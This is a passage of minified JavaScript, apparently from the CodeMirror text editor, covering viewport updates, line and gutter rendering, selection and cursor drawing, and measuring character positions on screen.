c=o.first+o.size,u=Math.max(t.visible.from-n.options.viewportMargin,o.first),f=Math.min(c,t.visible.to+n.options.viewportMargin);return(i.viewFrom<u&&u-i.viewFrom<20&&(u=Math.max(o.first,i.viewFrom)),i.viewTo>f&&i.viewTo-f<20&&(f=Math.min(c,i.viewTo)),hi&&(u=vh(n.doc,u),f=wv(n.doc,f)),h=u!=i.viewFrom||f!=i.viewTo||i.lastWrapHeight!=t.wrapperHeight||i.lastWrapWidth!=t.wrapperWidth,hb(n,u,f),i.viewOffset=fi(r(n.doc,i.viewFrom)),n.display.mover.style.top=i.viewOffset+"px",s=aa(n),!h&&0==s&&!t.force&&i.renderedView==i.view&&(null==i.updateLineNumbers||i.updateLineNumbers>=i.viewTo))?!1:(e=kt(),s>4&&(i.lineDiv.style.display="none"),rw(n,i.updateLineNumbers,t.dims),s>4&&(i.lineDiv.style.display=""),i.renderedView=i.view,e&&kt()!=e&&e.offsetHeight&&e.focus(),di(i.cursorDiv),di(i.selectionDiv),i.gutters.style.height=0,h&&(i.lastWrapHeight=t.wrapperHeight,i.lastWrapWidth=t.wrapperWidth,cu(n,400)),i.updateLineNumbers=null,!0)}function nl(n,t){for(var u,i=t.viewport,r=!0;(r&&n.options.lineWrapping&&t.oldDisplayWidth!=oi(n)||(i&&null!=i.top&&(i={top:Math.min(n.doc.height+th(n.display)-ih(n),i.top)}),t.visible=os(n.display,n.doc,i),!(t.visible.from>=n.display.viewFrom&&t.visible.to<=n.display.viewTo)))&&ls(n,t);r=!1)fe(n),u=eu(n),hu(n),vs(n,u),er(n,u);t.signal(n,"update",n);(n.display.viewFrom!=n.display.reportedViewFrom||n.display.viewTo!=n.display.reportedViewTo)&&(t.signal(n,"viewportChange",n,n.display.viewFrom,n.display.viewTo),n.display.reportedViewFrom=n.display.viewFrom,n.display.reportedViewTo=n.display.viewTo)}function as(n,t){var i=new ue(n,t),r;ls(n,i)&&(fe(n),nl(n,i),r=eu(n),hu(n),vs(n,r),er(n,r),i.finish())}function vs(n,t){n.display.sizer.style.minHeight=t.docHeight+"px";var i=t.docHeight+n.display.barHeight;n.display.heightForcer.style.top=i+"px";n.display.gutters.style.height=Math.max(i+yt(n),t.clientHeight)+"px"}function fe(n){for(var i,t,e,o,h,u,r=n.display,c=r.lineDiv.offsetTop,f=0;f<r.view.length;f++)if(t=r.view[f],!t.hidden&&(s&&8>a?(e=t.node.offsetTop+t.node.offsetHeight,i=e-c,c=e):(o=t.node.getBoundingClientRect(),i=o.bottom-o.top),h=t.line.height-i,2>i&&(i=vi(r)),(h>.001||-.001>h)&&(wt(t.line,i),tl(t.line),t.rest)))for(u=0;u<t.rest.length;u++)tl(t.rest[u])}function tl(n){if(n.widgets)for(var t=0;t<n.widgets.length;++t)n.widgets[t].height=n.widgets[t].node.offsetHeight}function ys(n){for(var i=n.display,u={},f={},e=i.gutters.clientLeft,t=i.gutters.firstChild,r=0;t;t=t.nextSibling,++r)u[n.options.gutters[r]]=t.offsetLeft+t.clientLeft+e,f[n.options.gutters[r]]=t.clientWidth;return{fixedPos:cs(i),gutterTotalWidth:i.gutters.offsetWidth,gutterLeft:u,gutterWidth:f,wrapperWidth:i.wrapper.clientWidth}}function rw(n,t,i){function c(t){var i=t.nextSibling;return y&&lt&&n.display.currentWheelTarget==t?t.style.display="none":t.parentNode.removeChild(t),i}for(var r,h,a,e=n.display,v=n.options.lineNumbers,o=e.lineDiv,u=o.firstChild,l=e.view,f=e.viewFrom,s=0;s<l.length;s++){if(r=l[s],!r.hidden)if(r.node&&r.node.parentNode==o){for(;u!=r.node;)u=c(u);h=v&&null!=t&&f>=t&&r.lineNumber;r.changes&&(d(r.changes,"gutter")>-1&&(h=!1),il(n,r,f,i));h&&(di(r.lineNumber),r.lineNumber.appendChild(document.createTextNode(hs(n.options,f))));u=r.node.nextSibling}else a=ow(n,r,f,i),o.insertBefore(a,u);f+=r.size}for(;u;)u=c(u)}function il(n,t,i,r){for(var u,f=0;f<t.changes.length;f++)u=t.changes[f],"text"==u?fw(n,t):"gutter"==u?ul(n,t,i,r):"class"==u?ps(t):"widget"==u&&ew(n,t,r);t.changes=null}function ee(n){return n.node==n.text&&(n.node=i("div",null,null,"position: relative"),n.text.parentNode&&n.text.parentNode.replaceChild(n.node,n.text),n.node.appendChild(n.text),s&&8>a&&(n.node.style.zIndex=2)),n.node}function uw(n){var t=n.bgClass?n.bgClass+" "+(n.line.bgClass||""):n.line.bgClass,r;(t&&(t+=" CodeMirror-linebackground"),n.background)?t?n.background.className=t:(n.background.parentNode.removeChild(n.background),n.background=null):t&&(r=ee(n),n.background=r.insertBefore(i("div",null,t),r.firstChild))}function rl(n,t){var i=n.display.externalMeasured;return i&&i.line==t.line?(n.display.externalMeasured=null,t.measure=i.measure,i.built):uy(n,t)}function fw(n,t){var r=t.text.className,i=rl(n,t);t.text==t.node&&(t.node=i.pre);t.text.parentNode.replaceChild(i.pre,t.text);t.text=i.pre;i.bgClass!=t.bgClass||i.textClass!=t.textClass?(t.bgClass=i.bgClass,t.textClass=i.textClass,ps(t)):r&&(t.text.className=r)}function ps(n){uw(n);n.line.wrapClass?ee(n).className=n.line.wrapClass:n.node!=n.text&&(n.node.className="");var t=n.textClass?n.textClass+" "+(n.line.textClass||""):n.line.textClass;n.text.className=t||""}function ul(n,t,r,u){var f,c,e,s,o,h;if(t.gutter&&(t.node.removeChild(t.gutter),t.gutter=null),f=t.line.gutterMarkers,(n.options.lineNumbers||f)&&(c=ee(t),e=t.gutter=i("div",null,"CodeMirror-gutter-wrapper","left: "+(n.options.fixedGutter?u.fixedPos:-u.gutterTotalWidth)+"px; width: "+u.gutterTotalWidth+"px"),n.display.input.setUneditable(e),c.insertBefore(e,t.text),t.line.gutterClass&&(e.className+=" "+t.line.gutterClass),!n.options.lineNumbers||f&&f["CodeMirror-linenumbers"]||(t.lineNumber=e.appendChild(i("div",hs(n.options,r),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+u.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+n.display.lineNumInnerWidth+"px"))),f))for(s=0;s<n.options.gutters.length;++s)o=n.options.gutters[s],h=f.hasOwnProperty(o)&&f[o],h&&e.appendChild(i("div",[h],"CodeMirror-gutter-elt","left: "+u.gutterLeft[o]+"px; width: "+u.gutterWidth[o]+"px"))}function ew(n,t,i){var r,u;for(t.alignable&&(t.alignable=null),r=t.node.firstChild;r;r=u)u=r.nextSibling,"CodeMirror-linewidget"==r.className&&t.node.removeChild(r);fl(n,t,i)}function ow(n,t,i,r){var u=rl(n,t);return t.text=t.node=u.pre,u.bgClass&&(t.bgClass=u.bgClass),u.textClass&&(t.textClass=u.textClass),ps(t),ul(n,t,i,r),fl(n,t,r),t.node}function fl(n,t,i){if(el(n,t.line,t,i,!0),t.rest)for(var r=0;r<t.rest.length;r++)el(n,t.rest[r],t,i,!1)}function el(n,t,r,u,f){var e,o;if(t.widgets)for(var h=ee(r),s=0,c=t.widgets;s<c.length;++s)e=c[s],o=i("div",[e.node],"CodeMirror-linewidget"),e.handleMouseEvents||o.setAttribute("cm-ignore-events","true"),sw(e,o,r,u),n.display.input.setUneditable(o),f&&e.above?h.insertBefore(o,r.gutter||r.text):h.appendChild(o),nt(e,"redraw")}function sw(n,t,i,r){if(n.noHScroll){(i.alignable||(i.alignable=[])).push(t);var u=r.wrapperWidth;t.style.left=r.fixedPos+"px";n.coverGutter||(u-=r.gutterTotalWidth,t.style.paddingLeft=r.gutterTotalWidth+"px");t.style.width=u+"px"}n.coverGutter&&(t.style.zIndex=5,t.style.position="relative",n.noHScroll||(t.style.marginLeft=-r.gutterTotalWidth+"px"))}function ws(t){return n(t.line,t.ch)}function oe(n,t){return o(n,t)<0?t:n}function se(n,t){return o(n,t)<0?n:t}function ol(n){n.state.focused||(n.display.input.focus(),sh(n))}function he(n){return n.options.readOnly||n.doc.cantEdit}function bs(t,i,u,f,e){var p=t.doc,s,o,c,w,y;for(t.display.shift=!1,f||(f=p.sel),s=li(i),o=null,t.state.pasteIncoming&&f.ranges.length>1&&(at&&at.join("\n")==i?o=f.ranges.length%at.length==0&&ef(at,li):s.length==f.ranges.length&&(o=ef(s,function(n){return[n]}))),c=f.ranges.length-1;c>=0;c--){var v=f.ranges[c],a=v.from(),l=v.to();v.empty()&&(u&&u>0?a=n(a.line,a.ch-u):t.state.overwrite&&!t.state.pasteIncoming&&(l=n(l.line,Math.min(r(p,l.line).text.length,l.ch+h(s).length))));w=t.curOp.updateInput;y={from:a,to:l,text:o?o[c%o.length]:s,origin:e||(t.state.pasteIncoming?"paste":t.state.cutIncoming?"cut":"+input")};ar(t.doc,y);nt(t,"inputRead",t,y)}i&&!t.state.pasteIncoming&&sl(t,i);vr(t);t.curOp.updateInput=w;t.curOp.typing=!0;t.state.pasteIncoming=t.state.cutIncoming=!1}function sl(n,t){var e,u,i,f,o,s;if(n.options.electricChars&&n.options.smartIndent)for(e=n.doc.sel,u=e.ranges.length-1;u>=0;u--)if(i=e.ranges[u],!(i.head.ch>100||u&&e.ranges[u-1].head.line==i.head.line)){if(f=n.getModeAt(i.head),o=!1,f.electricChars){for(s=0;s<f.electricChars.length;s++)if(t.indexOf(f.electricChars.charAt(s))>-1){o=ku(n,i.head.line,"smart");break}}else f.electricInput&&f.electricInput.test(r(n.doc,i.head.line).text.slice(0,i.head.ch))&&(o=ku(n,i.head.line,"smart"));o&&nt(n,"electricInput",n,i.head.line)}}function hl(t){for(var u,i,f=[],e=[],r=0;r<t.doc.sel.ranges.length;r++)u=t.doc.sel.ranges[r].head.line,i={anchor:n(u,0),head:n(u+1,0)},e.push(i),f.push(t.getRange(i.anchor,i.head));return{text:f,ranges:e}}function cl(n){n.setAttribute("autocorrect","off");n.setAttribute("autocapitalize","off");n.setAttribute("spellcheck","false")}function ks(n){this.cm=n;this.prevInput="";this.pollingFast=!1;this.polling=new ff;this.inaccurateSelection=!1;this.hasSelection=!1;this.composing=null}function ll(){var n=i("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none"),t=i("div",[n],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");return y?n.style.width="1000px":n.setAttribute("wrap","off"),kr&&(n.style.border="1px solid black"),cl(n),t}function ds(n){this.cm=n;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new ff;this.gracePeriod=!1}function al(n,t){var u=rh(n,t.line),s,i;if(!u||u.hidden)return null;var f=r(n.doc,t.line),h=ta(u,f,t.line),e=st(f),o="left";return e&&(s=ao(e,t.ch),o=s%2?"right":"left"),i=ua(h.map,t.ch,o),i.offset="right"==i.collapse?i.end:i.start,i}function or(n,t){return t&&(n.bad=!0),n}function ce(t,i,r){var u,f,e;if(i==t.display.lineDiv){if(u=t.display.lineDiv.childNodes[r],!u)return or(t.clipPos(n(t.display.viewTo-1)),!0);i=null;r=0}else for(u=i;;u=u.parentNode){if(!u||u==t.display.lineDiv)return null;if(u.parentNode&&u.parentNode==t.display.lineDiv)break}for(f=0;f<t.display.view.length;f++)if(e=t.display.view[f],e.node==u)return hw(e,i,r)}function hw(t,i,r){function y(i,r,u){for(var o,e,s,l,h,f=-1;f<(w?w.length:0);f++)for(o=0>f?b.map:w[f],e=0;e<o.length;e+=3)if(s=o[e+2],s==i||s==r)return l=c(0>f?t.line:t.rest[f]),h=o[e]+u,(0>u||s!=i)&&(h=o[e+(u?1:0)]),n(l,h)}var v=t.text.firstChild,a=!1,p,e,o,f,l,s;if(!i||!go(v,i))return or(n(c(t.line),0),!0);if(i==v&&(a=!0,i=v.childNodes[r],r=0,!i))return p=t.rest?h(t.rest):t.line,or(n(c(p),p.text.length),a);for(e=3==i.nodeType?i:null,o=i,e||1!=i.childNodes.length||3!=i.firstChild.nodeType||(e=i.firstChild,r&&(r=e.nodeValue.length));o.parentNode!=v;)o=o.parentNode;var b=t.measure,w=b.maps,u=y(e,o,r);if(u)return or(u,a);for(f=o.nextSibling,s=e?e.nodeValue.length-r:0;f;f=f.nextSibling){if(u=y(f,f.firstChild,0))return or(n(u.line,u.ch-s),a);s+=f.textContent.length}for(l=o.previousSibling,s=r;l;l=l.previousSibling){if(u=y(l,l.firstChild,-1))return or(n(u.line,u.ch+s),a);s+=f.textContent.length}}function cw(t,i,r,u,f){function h(n){return function(t){return t.id==n}}function s(i){var r,l,a,v,c,y;if(1==i.nodeType){if(r=i.getAttribute("cm-text"),null!=r)return""==r&&(r=i.textContent.replace(/\u200b/g,"")),void(e+=r);if(a=i.getAttribute("cm-marker"),a)return v=t.findMarks(n(u,0),n(f+1,0),h(+a)),void(v.length&&(l=v[0].find())&&(e+=bi(t.doc,l.from,l.to).join("\n")));if("false"==i.getAttribute("contenteditable"))return;for(c=0;c<i.childNodes.length;c++)s(i.childNodes[c]);/^(pre|div|p)$/i.test(i.nodeName)&&(o=!0)}else if(3==i.nodeType){if(y=i.nodeValue,!y)return;o&&(e+="\n",o=!1);e+=y}}for(var e="",o=!1;s(i),i!=r;)i=i.nextSibling;return e}function ni(n,t){this.ranges=n;this.primIndex=t}function l(n,t){this.anchor=n;this.head=t}function ot(n,t){var h=n[t],i,u,r;for(n.sort(function(n,t){return o(n.from(),t.from())}),t=d(n,h),i=1;i<n.length;i++)if(u=n[i],r=n[i-1],o(r.to(),u.from())>=0){var f=se(r.from(),u.from()),e=oe(r.to(),u.to()),s=r.empty()?u.from()==u.head:r.from()==r.head;t>=i&&--t;n.splice(--i,2,new l(s?e:f,s?f:e))}return new ni(n,t)}function ti(n,t){return new ni([new l(n,t||n)],0)}function vl(n,t){return Math.max(n.first,Math.min(t,n.first+n.size-1))}function f(t,i){if(i.line<t.first)return n(t.first,0);var u=t.first+t.size-1;return i.line>u?n(u,r(t,u).text.length):lw(i,r(t,i.line).text.length)}function lw(t,i){var r=t.ch;return null==r||r>i?n(t.line,i):0>r?n(t.line,0):t}function ou(n,t){return t>=n.first&&t<n.first+n.size}function aw(n,t){for(var r=[],i=0;i<t.length;i++)r[i]=f(n,t[i]);return r}function su(n,t,i,r){var u,f;return n.cm&&n.cm.display.shift||n.extend?(u=t.anchor,r&&(f=o(i,u)<0,f!=o(r,u)<0?(u=i,i=r):f!=o(i,r)<0&&(i=r)),new l(u,i)):new l(r||i,i)}function le(n,t,i,r){w(n,new ni([su(n,n.sel.primary(),t,i)],0),r)}function yl(n,t,i){for(var f,u=[],r=0;r<n.sel.ranges.length;r++)u[r]=su(n,n.sel.ranges[r],t[r],null);f=ot(u,n.sel.primIndex);w(n,f,i)}function gs(n,t,i,r){var u=n.sel.ranges.slice(0);u[t]=i;w(n,ot(u,n.sel.primIndex),r)}function pl(n,t,i,r){w(n,ti(t,i),r)}function vw(n,t){var i={ranges:t.ranges,update:function(t){this.ranges=[];for(var i=0;i<t.length;i++)this.ranges[i]=new l(f(n,t[i].anchor),f(n,t[i].head))}};return p(n,"beforeSelectionChange",n,i),n.cm&&p(n.cm,"beforeSelectionChange",n.cm,i),i.ranges!=t.ranges?ot(i.ranges,i.ranges.length-1):t}function wl(n,t,i){var r=n.history.done,u=h(r);u&&u.ranges?(r[r.length-1]=t,ae(n,t,i)):w(n,t,i)}function w(n,t,i){ae(n,t,i);ed(n,n.sel,n.cm?n.cm.curOp.id:NaN,i)}function ae(n,t,i){(ft(n,"beforeSelectionChange")||n.cm&&ft(n.cm,"beforeSelectionChange"))&&(t=vw(n,t));var r=i&&i.bias||(o(t.primary().head,n.sel.primary().head)<0?-1:1);bl(n,dl(n,t,r,!0));i&&i.scroll===!1||!n.cm||vr(n.cm)}function bl(n,t){t.equals(n.sel)||(n.sel=t,n.cm&&(n.cm.curOp.updateInput=n.cm.curOp.selectionChanged=!0,py(n.cm)),nt(n,"cursorActivity",n))}function kl(n){bl(n,dl(n,n.sel,null,!1),gt)}function dl(n,t,i,r){for(var u,f=0;f<t.ranges.length;f++){var e=t.ranges[f],o=ve(n,e.anchor,i,r),s=ve(n,e.head,i,r);(u||o!=e.anchor||s!=e.head)&&(u||(u=t.ranges.slice(0,f)),u[f]=new l(o,s))}return u?ot(u,t.primIndex):t}function ve(t,i,u,e){var w=!1,h=i,y=u||1,a,v,c,l,s;t.cantEdit=!1;n:for(;;){if(a=r(t,h.line),a.markedSpans)for(v=0;v<a.markedSpans.length;++v)if(c=a.markedSpans[v],l=c.marker,(null==c.from||(l.inclusiveLeft?c.from<=h.ch:c.from<h.ch))&&(null==c.to||(l.inclusiveRight?c.to>=h.ch:c.to>h.ch))){if(e&&(p(l,"beforeCursorEnter"),l.explicitlyCleared)){if(a.markedSpans){--v;continue}break}if(!l.atomic)continue;if(s=l.find(0>y?-1:1),0==o(s,h)&&(s.ch+=y,s.ch<0?s=s.line>t.first?f(t,n(s.line-1)):null:s.ch>a.text.length&&(s=s.line<t.first+t.size-1?n(s.line+1,0):null),!s)){if(w)return e?(t.cantEdit=!0,n(t.first,0)):ve(t,i,u,!0);w=!0;s=i;y=-y}h=s;continue n}return h}}function hu(n){n.display.input.showSelection(n.display.input.prepareSelection())}function gl(n,t){for(var r,e,u=n.doc,f={},o=f.cursors=document.createDocumentFragment(),s=f.selection=document.createDocumentFragment(),i=0;i<u.sel.ranges.length;i++)(t!==!1||i!=u.sel.primIndex)&&(r=u.sel.ranges[i],e=r.empty(),(e||n.options.showCursorWhenSelecting)&&yw(n,r,o),e||pw(n,r,s));return f}function yw(n,t,r){var u=ii(n,t.head,"div",null,null,!n.options.singleCursorHeightPerLine),e=r.appendChild(i("div"," ","CodeMirror-cursor")),f;(e.style.left=u.left+"px",e.style.top=u.top+"px",e.style.height=Math.max(0,u.bottom-u.top)*n.options.cursorHeight+"px",u.other)&&(f=r.appendChild(i("div"," ","CodeMirror-cursor CodeMirror-secondarycursor")),f.style.display="",f.style.left=u.other.left+"px",f.style.top=u.other.top+"px",f.style.height=.85*(u.other.bottom-u.other.top)+"px")}function pw(t,u,f){function o(n,t,r,u){0>t&&(t=0);t=Math.round(t);u=Math.round(u);w.appendChild(i("div",null,"CodeMirror-selected","position: absolute; left: "+n+"px; top: "+t+"px; width: "+(null==r?k-n:r)+"px; height: "+(u-t)+"px"))}function a(i,u,f){function l(r,u){return eh(t,n(i,r),"div",c,u)}var e,s,c=r(v,i),a=c.text.length;return pd(st(c),u||0,null==f?a:f,function(n,t,i){var r,v,y,c=l(n,"left"),p;n==t?(r=c,v=y=c.left):((r=l(t-1,"right"),"rtl"==i)&&(p=c,c=r,r=p),v=c.left,y=r.right);null==u&&0==n&&(v=h);r.top-c.top>3&&(o(v,c.top,null,c.bottom),v=h,c.bottom<r.top&&o(v,c.bottom,null,r.top));null==f&&t==a&&(y=k);(!e||c.top<e.top||c.top==e.top&&c.left<e.left)&&(e=c);(!s||r.bottom>s.bottom||r.bottom==s.bottom&&r.right>s.right)&&(s=r);h+1>v&&(v=h);o(v,r.top,y-v,r.bottom)}),{start:e,end:s}}var p=t.display,v=t.doc,w=document.createDocumentFragment(),b=na(t.display),h=b.left,k=Math.max(p.sizerWidth,oi(t)-p.sizer.offsetLeft)-b.right,c=u.from(),l=u.to();if(c.line==l.line)a(c.line,c.ch,l.ch);else{var d=r(v,c.line),g=r(v,l.line),y=pt(d)==pt(g),e=a(c.line,c.ch,y?d.text.length+1:null).end,s=a(l.line,y?0:null,l.ch).start;y&&(e.top<s.top-2?(o(e.right,e.top,null,e.bottom),o(h,s.top,s.left,s.bottom)):o(e.right,e.top,s.left-e.right,e.bottom));e.bottom<s.top&&o(h,e.bottom,null,s.top)}f.appendChild(w)}function nh(n){var t,i;n.state.focused&&(t=n.display,clearInterval(t.blinker),i=!0,t.cursorDiv.style.visibility="",n.options.cursorBlinkRate>0?t.blinker=setInterval(function(){t.cursorDiv.style.visibility=(i=!i)?"":"hidden"},n.options.cursorBlinkRate):n.options.cursorBlinkRate<0&&(t.cursorDiv.style.visibility="hidden"))}function cu(n,t){n.doc.mode.startState&&n.doc.frontier<n.display.viewTo&&n.state.highlight.set(t,hf(ww,n))}function ww(n){var t=n.doc;if(t.frontier<t.first&&(t.frontier=t.first),!(t.frontier>=n.display.viewTo)){var u=+new Date+n.options.workTime,i=ur(t.mode,lu(n,t.frontier)),r=[];t.iter(t.frontier,Math.min(t.first+t.size,n.display.viewTo+500),function(f){var s,l,o,e,c,h;if(t.frontier>=n.display.viewFrom){for(s=f.styles,l=ty(n,f,i,!0),f.styles=l.styles,o=f.styleClasses,e=l.classes,e?f.styleClasses=e:o&&(f.styleClasses=null),c=!s||s.length!=f.styles.length||o!=e&&(!o||!e||o.bgClass!=e.bgClass||o.textClass!=e.textClass),h=0;!c&&h<s.length;++h)c=s[h]!=f.styles[h];c&&r.push(t.frontier);f.stateAfter=ur(t.mode,i)}else wh(n,f.text,i),f.stateAfter=t.frontier%5==0?ur(t.mode,i):null;return++t.frontier,+new Date>u?(cu(n,n.options.workDelay),!0):void 0});r.length&&ut(n,function(){for(var t=0;t<r.length;t++)ri(n,r[t],"text")})}}function bw(n,t,i){for(var o,s,h,e,f=n.doc,c=i?-1:t-(n.doc.mode.innerMode?1e3:100),u=t;u>c;--u){if(u<=f.first)return f.first;if(o=r(f,u-1),o.stateAfter&&(!i||u<=f.frontier))return u;s=vt(o.text,null,n.options.tabSize);(null==e||h>s)&&(e=u-1,h=s)}return e}function lu(n,t,i){var f=n.doc,o=n.display,u,e;return f.mode.startState?(u=bw(n,t,i),e=u>f.first&&r(f,u-1).stateAfter,e=e?ur(f.mode,e):cp(f.mode),f.iter(u,t,function(i){wh(n,i.text,e);var r=u==t-1||u%5==0||u>=o.viewFrom&&u<o.viewTo;i.stateAfter=r?ur(f.mode,e):null;++u}),i&&(f.frontier=u),e):!0}function ye(n){return n.lineSpace.offsetTop}function th(n){return n.mover.offsetHeight-n.lineSpace.offsetHeight}function na(n){if(n.cachedPaddingH)return n.cachedPaddingH;var r=et(n.measure,i("pre","x")),u=window.getComputedStyle?window.getComputedStyle(r):r.currentStyle,t={left:parseInt(u.paddingLeft),right:parseInt(u.paddingRight)};return isNaN(t.left)||isNaN(t.right)||(n.cachedPaddingH=t),t}function yt(n){return pp-n.display.nativeBarWidth}function oi(n){return n.display.scroller.clientWidth-yt(n)-n.display.barWidth}function ih(n){return n.display.scroller.clientHeight-yt(n)-n.display.barHeight}function kw(n,t,i){var f=n.options.lineWrapping,h=f&&oi(n),e,u,r,o,s;if(!t.measure.heights||f&&t.measure.width!=h){if(e=t.measure.heights=[],f)for(t.measure.width=h,u=t.text.firstChild.getClientRects(),r=0;r<u.length-1;r++)o=u[r],s=u[r+1],Math.abs(o.bottom-s.bottom)>2&&e.push((o.bottom+s.top)/2-i.top);e.push(i.bottom-i.top)}}function ta(n,t,i){var r;if(n.line==t)return{map:n.measure.map,cache:n.measure.cache};for(r=0;r<n.rest.length;r++)if(n.rest[r]==t)return{map:n.measure.maps[r],cache:n.measure.caches[r]};for(r=0;r<n.rest.length;r++)if(c(n.rest[r])>i)return{map:n.measure.maps[r],cache:n.measure.caches[r],before:!0}}function dw(n,t){var r,i,u;return t=pt(t),r=c(t),i=n.display.externalMeasured=new la(n.doc,t,r),i.lineN=r,u=i.built=uy(n,i),i.text=u.pre,et(n.display.lineMeasure,u.pre),i}function ia(n,t,i,r){return ra(n,uh(n,t),i,r)}function rh(n,t){if(t>=n.display.viewFrom&&t<n.display.viewTo)return n.display.view[yi(n,t)];var i=n.display.externalMeasured;if(i&&t>=i.lineN&&t<i.lineN+i.size)return i}function uh(n,t){var u=c(t),i=rh(n,u),r;return i&&!i.text?i=null:i&&i.changes&&il(n,i,u,ys(n)),i||(i=dw(n,t)),r=ta(i,t,u),{line:t,view:i,rect:null,map:r.map,cache:r.cache,before:r.before,hasHeights:!1}}function ra(n,t,i,r,u){t.before&&(i=-1);var f,e=i+(r||"");return t.cache.hasOwnProperty(e)?f=t.cache[e]:(t.rect||(t.rect=t.view.text.getBoundingClientRect()),t.hasHeights||(kw(n,t.view,t.rect),t.hasHeights=!0),f=gw(n,t,i,r),f.bogus||(t.cache[e]=f)),{left:f.left,right:f.right,top:u?f.rtop:f.top,bottom:u?f.rbottom:f.bottom}}function ua(n,t,i){for(var s,u,h,o,e,f,r=0;r<n.length;r+=3)if(e=n[r],f=n[r+1],e>t?(u=0,h=1,o="left"):f>t?(u=t-e,h=u+1):(r==n.length-3||t==f&&n[r+3]>t)&&(h=f-e,u=h-1,t>=f&&(o="right")),null!=u){if(s=n[r+2],e==f&&i==(s.insertLeft?"left":"right")&&(o=i),"left"==i&&0==u)for(;r&&n[r-2]==n[r-3]&&n[r-1].insertLeft;)s=n[(r-=3)+2],o="left";if("right"==i&&u==f-e)for(;r<n.length-3&&n[r+3]==n[r+4]&&!n[r+5].insertLeft;)s=n[(r+=3)+2],o="right";break}return{node:s,start:u,end:h,collapse:o,coverStart:e,coverEnd:f}}function gw(n,t,i,r){var u,e=ua(t.map,i,r),h=e.node,f=e.start,c=e.end,y=e.collapse,o,l,v;if(3==h.nodeType){for(o=0;4>o;o++){for(;f&&cf(t.line.text.charAt(e.coverStart+f));)--f;for(;e.coverStart+c<e.coverEnd&&cf(t.line.text.charAt(e.coverStart+c));)++c;if(s&&9>a&&0==f&&c==e.coverEnd-e.coverStart?u=h.parentNode.getBoundingClientRect():s&&n.options.lineWrapping?(l=fr(h,f,c).getClientRects(),u=l.length?l["right"==r?l.length-1:0]:ec):u=fr(h,f,c).getBoundingClientRect()||ec,u.left||u.right||0==f)break;c=f;f-=1;y="right"}s&&11>a&&(u=nb(n.display.measure,u))}else f>0&&(y=r="right"),u=n.options.lineWrapping&&(l=h.getClientRects()).length>1?l["right"==r?l.length-1:0]:h.getBoundingClientRect();s&&9>a&&!f&&(!u||!u.left&&!u.right)&&(v=h.parentNode.getClientRects()[0],u=v?{left:v.left,right:v.left+vu(n.display),top:v.top,bottom:v.bottom}:ec);for(var b=u.top-t.rect.top,k=u.bottom-t.rect.top,d=(b+k)/2,p=t.view.measure.heights,o=0;o<p.length-1&&!(d<p[o]);o++);var g=o?p[o-1]:0,nt=p[o],w={left:("right"==y?u.right:u.left)-t.rect.left,right:("left"==y?u.left:u.right)-t.rect.left,top:g,bottom:nt};return u.left||u.right||(w.bogus=!0),n.options.singleCursorHeightPerLine||(w.rtop=b,w.rbottom=k),w}function nb(n,t){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!yd(n))return t;var i=screen.logicalXDPI/screen.deviceXDPI,r=screen.logicalYDPI/screen.deviceYDPI;return{left:t.left*i,right:t.right*i,top:t.top*r,bottom:t.bottom*r}}function fa(n){if(n.measure&&(n.measure.cache={},n.measure.heights=null,n.rest))for(var t=0;t<n.rest.length;t++)n.measure.caches[t]={}}function ea(n){n.display.externalMeasure=null;di(n.display.lineMeasure);for(var t=0;t<n.display.view.length;t++)fa(n.display.view[t])}function au(n){ea(n);n.display.cachedCharWidth=n.display.cachedTextHeight=n.display.cachedPaddingH=null;n.options.lineWrapping||(n.display.maxLineChanged=!0);n.display.lineNumChars=null}function oa(){return window.pageXOffset||(document.documentElement||document.body).scrollLeft}function sa(){return window.pageYOffset||(document.documentElement||document.body).scrollTop}function fh(n,t,i,r){var f,e,u,o,s;if(t.widgets)for(f=0;f<t.widgets.length;++f)t.widgets[f].above&&(e=nf(t.widgets[f]),i.top+=e,i.bottom+=e);return"line"==r?i:(r||(r="local"),u=fi(t),("local"==r?u+=ye(n.display):u-=n.display.viewOffset,"page"==r||"window"==r)&&(o=n.display.lineSpace.getBoundingClientRect(),u+=o.top+("window"==r?0:sa()),s=o.left+("window"==r?0:oa()),i.left+=s,i.right+=s),i.top+=u,i.bottom+=u,i)}function ha(n,t,i){var r,u,f,e;return"div"==i?t:(r=t.left,u=t.top,"page"==i?(r-=oa(),u-=sa()):"local"!=i&&i||(f=n.display.sizer.getBoundingClientRect(),r+=f.left,u+=f.top),e=n.display.lineSpace.getBoundingClientRect(),{left:r-e.left,top:u-e.top})}function eh(n,t,i,u,f){return u||(u=r(n.doc,t.line)),fh(n,u,ia(n,u,t.ch,f),i)}function ii(n,t,i,u,f,e){function h(t,r){var o=ra(n,f,t,r?"right":"left",e);return r?o.left=o.right:o.right=o.left,fh(n,u,o,i)}function l(n,t){var i=o[t],r=i.level%2;return n==tc(i)&&t&&i.level<o[t-1].level?(i=o[--t],n=ic(i)-(i.level%2?0:1),r=!0):n==ic(i)&&t<o.length-1&&i.level<o[t+1].level&&(i=o[++t],n=tc(i)-i.level%2,r=!1),r&&n==i.to&&n>i.from?h(n-1):h(n,r)}var o,s,a,c;return(u=u||r(n.doc,t.line),f||(f=uh(n,u)),o=st(u),s=t.ch,!o)?h(s):(a=ao(o,s),c=l(s,a),null!=ie&&(c.other=l(s,ie)),c)}function ca(n,t){var i=0,t=f(n.doc,t),u,e;return n.options.lineWrapping||(i=vu(n.display)*t.ch),u=r(n.doc,t.line),e=fi(u)+ye(n.display),{left:i,right:i,top:e,bottom:e+u.height}}function pe(t,i,r,u){var f=n(t,i);return f.xRel=u,r&&(f.outside=!0),f}function oh(n,t,i){var u=n.doc,f,s,e;if(i+=n.display.viewOffset,0>i)return pe(u.first,0,!0,-1);if(f=ki(u,i),s=u.first+u.size-1,f>s)return pe(u.first+u.size-1,r(u,s).text.length,!0,1);for(0>t&&(t=0),e=r(u,f);;){var o=tb(n,e,f,t,i),h=gu(e),l=h&&h.find(0,!0);if(!h||!(o.ch>l.from.ch||o.ch==l.from.ch&&o.xRel>0))return o;f=c(e=l.to.line)}}function tb(t,i,r,u,f){function p(u){var f=ii(t,n(r,u),"line",i,rt);return h=!0,g>f.bottom?f.left-nt:g<f.top?f.left+nt:(h=!1,f.left)}var 